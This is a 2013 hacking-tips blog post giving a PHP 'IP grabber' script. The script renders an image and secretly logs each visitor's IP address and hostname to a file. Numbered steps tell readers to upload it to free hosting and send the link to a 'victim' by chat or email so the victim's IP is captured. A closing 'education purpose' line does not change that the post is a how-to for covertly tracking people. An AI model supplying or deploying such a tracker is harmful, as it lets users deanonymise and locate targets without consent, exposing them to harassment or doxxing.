Thursday, 11 July 2013

How To Grab Someone Ip Address ?

Grab Someone Ip Address

Hi Guys.In my previous post i tell you how to get any website ip address using CMD And how to change my ip address in less Then 1 Minute.Today i tell you how to Grab someone Ip Address using PHP Script.PHP Script can be used to Grab Someone Ip Address on Facebook,Yahoo,Gmail etc with chat or By Sending Mail to victim.This is very simple and so easy and useful trick i hope you enjoy this trick.
Lets Start:


 1. Open Notepad.

2. Copy below code into Notepad.

<?php
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
$img_number = imagecreate(400,95);
$backcolor = imagecolorallocate($img_number,10,102,153);
$textcolor = imagecolorallocate($img_number,255,255,255);

imagefill($img_number,0,0,$backcolor);
$number0 = " This is Your IP/Proxy";
$number1 = " IP: $_SERVER[HTTP_X_FORWARDED_FOR]";
$number2 = " Host/Proxy: $hostname";
$number4 = " _________________________________";

Imagestring($img_number,10,5,5,$number0,$textcolor);
Imagestring($img_number,10,5,25,$number1,$textcolor);
Imagestring($img_number,10,5,45,$number2,$textcolor);
Imagestring($img_number,10,5,50,$number4,$textcolor);
Imagestring($img_number,10,8,50,$number4,$textcolor);
Imagestring($img_number,10,5,10,$number4,$textcolor);
Imagestring($img_number,10,8,10,$number4,$textcolor);

header("Content-type: image/png");
imagepng($img_number);
$file=fopen("Name-here-to-protect-the-File.txt","a");
$file2 = "- IP joined - IP/Proxy: $_SERVER[HTTP_X_FORWARDED_FOR] - Host: $hostname - '\n' ";
fwrite($file, $file2);
fclose($file);
?>

3. Save Notepad File As a Grab.php

4. Now you need to make free web hosting account.For this purpose Go Any Web site

5. Now upload grab.php file into your free web hosting site.

6. Copy the link of your  uploaded file and send it to victim.

7. As soon as victim will click on your link his ip will be saved in your free web hosting site.

8. Now get his ip and enjoy :


Warning :

Use it for only Education purpose :
 


0 comments: